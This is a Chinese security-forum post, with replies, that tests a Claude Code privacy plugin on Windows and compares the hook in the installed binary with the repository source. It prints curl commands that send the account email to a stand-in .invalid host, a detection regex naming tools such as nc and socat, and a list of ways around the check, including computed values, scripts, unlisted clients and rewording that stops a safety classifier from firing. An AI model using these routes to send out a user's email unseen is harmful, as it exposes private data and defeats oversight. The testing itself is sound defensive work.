查看: 857|回复: 3

Claude Code 隐私插件 Windows 拦截实测与排查

[复制链接]
发表于 11 小时前 | 显示全部楼层 |阅读模式
Claude Code 从 2.1.317 起内置了 cc-plugin-privacy 插件,默认开启,用来阻止模型把登录账号的邮箱写进对外请求。HN 上那条「Claude Code 把你的邮箱发给网站」的帖子已经攒到 1493 分、468 条评论,issue #107757 也还开着。我手上这台 Windows 10 装的是 npm 版 2.1.318,~/.claude.json 里有登录邮箱,于是按仓库里「该拦」和「不该拦」的样例各挑了两条命令实测了一遍。结果是 4 条拦了 2 条,而且和仓库源码、issue 里其他 Windows 用户的报告三方都对不上。下面把 Windows 侧的环境坑、实测过程和二进制里的真实实现一并写清楚,方便你在自己机器上复现判断。

官方说法与现场说法

issue #107757 的报告人用 2.1.318(macOS),说网页搜索时邮箱被写进了请求的 User-Agent,随后收到大量诈骗邮件。Anthropic 员工 poteat 回复:2.1.317 起内置 cc-plugin-privacy,确定性拦住该行为,默认开启,可在 /plugins 里关闭。同一天 lydia_hallie 补充来龙去脉:早先有用户抱怨模型在 @author 之类的地方编造人名,于是把登录账号邮箱放进了模型上下文,模型自己写 curl 时会把邮箱当成联系地址填进 User-Agent。她表示邮箱会在下个版本从上下文移除,在此之前由内置模块在「网页工具或 curl 风格命令带上你的邮箱」时先询问。

v2.1.317 发行说明里的原句是 Added a check that asks before a web or shell tool call sends your account email address to the network,用词是 asks(先问),不是 refuses(拒绝)。这一点后面会直接影响 -p 之类无人应答的会话里命令的最终命运。

Windows 上先要解决会话起不来

版本信息:claude --version 输出 2.1.318 (Claude Code),npm 包 @anthropic-ai/claude-code 2.1.318,实际二进制是 bin/claude.exe,约 327 MB 的 PE32+。~/.claude/settings.json 的 env 里写了 CLAUDE_CODE_USE_POWERSHELL_TOOL=0,而本机又没把 Git for Windows 装在默认位置,直接启动会报:

Claude Code on Windows requires a shell tool. Git Bash was not found and the PowerShell tool is disabled (CLAUDE_CODE_USE_POWERSHELL_TOOL=0).

我没有改这份 settings,而是用一份去掉该项的副本,并设置 CLAUDE_CODE_GIT_BASH_PATH 指向本机已有的 bash,会话才起来。用户 settings 和 settings.local.json 里都没有 enabledPlugins,也就没有 "cc-plugin-privacy@builtin": false 这类关闭项,插件按默认启用。系统初始化事件里列出的插件是 cc-plugin-agents-md、cc-plugin-telemetry、cc-plugin-privacy、cc-plugin-plugin-authoring,工具里同时有 Bash、PowerShell、Monitor、WebFetch、WebSearch。

四条命令的实测结果

四条都走 Bash 工具,目标域名统一用 .invalid(保留域名,不会解析,打不到任何第三方),输出重定向到 /dev/null,邮箱就是登录账号那个。

第一条,命令里同时出现邮箱和 User-Agent 字样,但没有外发客户端:
  1. echo "User-Agent: test <account email>" > /dev/null; echo EXIT:$?
复制代码

结果 EXIT:0,工具返回 is_error: false,既没拒绝也没弹权限提示。按仓库源码这条应该被拒绝,实际放行。

第二条,用 curl -A 带邮箱:
  1. curl -s -m 3 -A "test <account email>" http://leak-test.invalid/; echo EXIT:$?
复制代码

结果被插件拦住,命令没执行,连 EXIT: 那行都没有。返回文本是:Permission to use Bash denied by plugin cc-plugin-privacy: This call's input holds your account email address, which may leave this machine. If nobody asked to send it, go on without it. 注意措辞是「先问你」,不是仓库 refusal.ts 里的 This call was refused。

第三条,邮箱只放在 URL 查询参数里,命令文本里没有 User-Agent 字样:
  1. curl -s -m 3 "http://leak-test.invalid/?q=<account email>"; echo EXIT:$?
复制代码

返回与第二条一字不差,同样被拦。而仓库 README 明确把这种情况列为放行(邮箱只出现在 URL、请求体、curl -u 或 From: 头里)。

第四条,邮箱不在命令文本里,运行时用 node 从环境变量算出来再拼进带 User-Agent 字样的输出:
  1. v=$(node -e "process.stdout.write(process.env.ACCOUNT_EMAIL||"")"); echo "User-Agent: fixed-agent $v" > /dev/null; echo EXIT:$?
复制代码

结果 EXIT:0,is_error: false,没有任何提示。检查只看命令文本,文本里既没有 @ 也没有邮箱,自然放行。这一条与 README 写的「现算出来的值不查」一致,安装包也没有补。

四条命令是在一个独立任务目录里通过 Agent 逐条发起的,每条的工具调用和原始返回都落盘保存,便于复核。

安装包里的钩子和仓库源码不是一份

仓库源码解释不了上面的结果,于是直接在 bin/claude.exe 里找字符串。cc-plugin-privacy 这个名字出现 3 处,插件描述为:Privacy: asks before a shell or web tool runs with the signed-in account's email address in a call that may leave the machine。钩子本体(变量名被压缩过)大意是:
  1. var l = ["WebBrowser", "WebFetch", "WebSearch"],
  2.     y = ["Bash", "Monitor", "PowerShell", "Tmux"],
  3.     _ = /\b(curl|wget|https?|httpie|xh|nc|ncat|socat|telnet|ssh|scp|sftp|rsync|ftp|lftp|rclone|iwr|irm|invoke-webrequest|invoke-restmethod)\b/;
  4. var S = "This call's input holds your account email address, which may leave this machine. If nobody asked to send it, go on without it.";
复制代码

判定逻辑是:先把工具输入 JSON 序列化并转小写,再做一层百分号编码解码,拼成一个待匹配串;串里没有 @ 直接放行;取出 session 身份里的邮箱,邮箱为空或串里不含邮箱也放行;把邮箱从串里剔除后,如果当前工具在 Web 类名单里,或者剩余文本命中上面那个客户端正则,就返回 { decision: "ask", reason: S },否则维持原判定。

和仓库 mods/privacy/hooks/register.ts 比,有 4 处不同:

一是监测面更宽。仓库只挂 Bash、Monitor、PowerShell 三种工具,安装包加了 WebBrowser、WebFetch、WebSearch 和 Tmux,所以「网页工具也会先问」在安装包里是真的,仓库源码里并没有。
二是判定条件换掉了。仓库要命中 User-Agent 字样(User-Agent、user_agent、--user-agent、UA= 等)或 curl 配 -A、wget 配 -U 这类客户端标志;安装包只看命令里有没有那份客户端名单里的词,curl、wget、http、https、ssh、scp、iwr 都算。所以第三条「邮箱只在 URL 里」会被拦——命令里有 http。
三是结果是 ask 而不是 deny。仓库返回 deny,README 强调不弹确认、已保存的允许规则和 auto 模式分类器都不能放开;安装包返回 ask,无人应答时就等于拒绝。
四是存在服务端开关。插件是否可用由运行时开关(默认 true)决定,所以别人报「插件在列表里但完全不拦」,可能卡在开关上或者会话没加载钩子,光看版本号区分不了。

把四条命令代进这个函数,全部对得上:第一条没有客户端名、也没有 Web 类工具,返回原判定所以执行;第二条、第三条命中 http,返回 ask,无人应答变成拒绝;第四条提前返回,执行。也顺带解释了 Windows 11 上另一位用户 npm 版 2.1.318 那条 echo 和 curl -A 都放行的报告——curl 打到 http://leak-test.invalid/ 返回的是超时(exit 28),说明命令确实发出去了。

还有一层不在插件里的拦截

实测时我先试过把邮箱嵌进 curl 查询参数、用命令替换现算的写法,那一条根本没走到插件,返回的是 Your response above was stopped by a safety classifier — this is not a tool or API error,工具调用直接被丢弃,模型随后自己拒绝执行,理由是「这是把账号信息发到外部主机」。所以「没被插件拦住」不等于「命令一定会跑」,但这一层看的是意图而不是命令文本,换一种不带外发语义的写法就不再触发,不能当作可依赖的防护。

在自己机器上怎么验证

· 先看 claude --version 是不是 2.1.317 或更新,再查 ~/.claude/settings.json 和 settings.local.json 的 enabledPlugins 里有没有 "cc-plugin-privacy@builtin": false。
· 开会话看系统初始化的插件列表里有没有 cc-plugin-privacy@builtin。
· 用 .invalid 域名跑 echo 那条和 curl -A 那条:两条都不拦说明钩子没生效;第二条拦、第一条不拦就是我这次的情况。
· 再补一条邮箱只出现在 URL 里的 curl,确认自己这台认的是「User-Agent 字样」还是「客户端名单」。
· 别用真实域名试,那是在拿自己的邮箱做实验。

插件确实拦不住的形状有:邮箱来自 $(...)、环境变量或文件内容;先写进脚本再用解释器执行(命令行里只剩 python fetch.py);用名单以外的客户端发。这些 README 和安装包都不覆盖。要关闭插件,按 README 用 /plugin disable,或在用户、--settings、托管 settings 的 enabledPlugins 里写 "cc-plugin-privacy@builtin": false,仓库级 settings 关不掉。

最后要认清一点:根上的修复还没到。把邮箱从模型上下文里移除是下个版本的事,2.1.317 只加了这条「先问一句」的检查,而检查看的是命令文本——只要上下文里还有邮箱,模型就仍能把它写进检查看不到的地方。对 Windows 上跑 Claude Code 的人来说,把它当成一层有明确边界的礼貌提醒,而不是安全边界,才是准确的预期。
回复

使用道具 举报

发表于 4 小时前 | 显示全部楼层

Re: Claude Code 隐私插件 Windows 拦截实测与排查

楼主这个实测挺有价值,尤其第二条和第三条的返回文案跟仓库 refusal.ts 里的 “This call was refused” 对不上,这基本说明二进制里走的不是仓库里那条 refusal 路径,更像是注册成了 PreToolUse 的权限决策钩子,返回的是 “denied by plugin”,所以措辞是 deny 而不是 refuse。如果真是权限钩子,“asks” 和“refuses”的差别就落在了权限系统的默认动作上,不是 refusal.ts 自己决定的。建议再补一个 -p / 无人应答会话的对照,看它是 fail closed 直接拒,还是被权限系统默认放过去,这个结论比交互式下弹不弹窗更关键。 另外从四条结果的组合推测,二进制里的判定可能是“命令文本里出现邮箱 + 命令里出现外发客户端名(curl/wget 之类)”就拦,而不是按 README 那种按字段位置区分。第一条 echo 里虽然有 User-Agent 和邮箱,但没有客户端,放行;第三条邮箱只在 URL 查询串里,照样拦。这跟 README 的“按位置放行”是两种相反的取舍:二进制更粗更保守,文档更细但没实现。可以做个对照:只用 curl 但不带邮箱,确认不拦;再试 curl 带邮箱但客户端名用变量拼出来,比如 c=cu;curl,看它认不认。 第四条那个现算值放行也值得再压一下,比如直接 curl
回复 支持 反对

使用道具 举报

发表于 4 小时前 | 显示全部楼层

Re: Claude Code 隐私插件 Windows 拦截实测与排查

这个实测很有参考价值,尤其是几处「对不上」的地方,比我之前只看 README 时的理解清楚多了。 几点感受: 一是官方措辞那个细节很关键。发行说明写的是 asks,不是 refuses,这就意味着在 -p 这种无人应答的会话里,命令的命运可能取决于超时或者默认策略,而不是确定性地拒绝。如果楼主后续能补一条 -p 模式下的实测,看看是直接失败、挂起还是走默认拒绝,那对用脚本调用的场景帮助会很大。 二是第二条和第三条的对比挺说明问题。仓库 README 把「邮箱只出现在 URL 查询参数里」列为放行,实际却拦了,说明安装包里的判定比源码更宽;而第一条 echo 带邮箱却放行、第四条运行时算出来的值放行,又说明它只做命令文本匹配。这个「比文档严一点、又比文档松一点」的组合,正好解释了为什么三方对不上——大家参照的压根不是同一份规则。 三是「安装包和仓库源码不是一份」这个结论最有价值。如果二进制里真的能定位到那套钩子实现,建议把找到的字符串和仓库对应文件贴出来做个对照,顺便把四条命令的原始返回落盘整理成 issue 的补充材料。issue 里 macOS 的报告和 Windows 的实际表现差异这么大,这些一手数据应该能推动维护者明确一下各平台的判定边界。 另外提醒一下 Windows 用户:那个 Git Bash 找不到的报错确实容易卡住会话启动,用 CLAUDE_CODE_GIT_BA
回复 支持 反对

使用道具 举报

发表于 4 小时前 | 显示全部楼层

Re: Claude Code 隐私插件 Windows 拦截实测与排查

感谢这么细的实测,尤其是把 Windows 上会话起不来的坑先交代清楚,不然很多人连复现都卡在第一步。Git Bash 路径和 settings 里那个 POWERSHELL_TOOL=0 的组合确实容易踩,你用副本临时去掉该项并指路 CLAUDE_CODE_GIT_BASH_PATH 的做法挺稳妥,也说明问题不在插件开关上。 四条命令的结果里,最有信息量的是第四条:检查只看命令文本,运行时从环境变量现算出来的值完全放行,这和仓库 README 的说明一致,但也正好暴露了“确定性拦截”的边界。第二条和第三条一字不差地拦下,说明实际实现比 README 写的更宽,URL 查询参数这种也被算进去了;而第一条按源码该拒绝却放行,反过来又说明二进制里的逻辑和仓库源码不是同一份。这三方对不上,基本可以确定要么是打包时用了不同版本的分支,要么是 Windows 侧走了另一条判断路径。 另外你提到发行说明用 asks 而不是 refuses,这个观察很关键。像 -p 这种无人应答的会话里,到底是直接失败、默认放行还是挂起,值得单独测一次,因为那才是批量脚本用户真正会遇到的场景。 如果后面从 claude.exe 里挖出字符串和钩子实现的对应关系,建议顺手把四条命令的输入、原始返回和预期结果整理成表格贴到 issue #107757 下,现在那边 macOS 的报告居多,Windows 侧这种可复
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-11-7 23:45 , Processed in 0.025122 second(s), 29 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部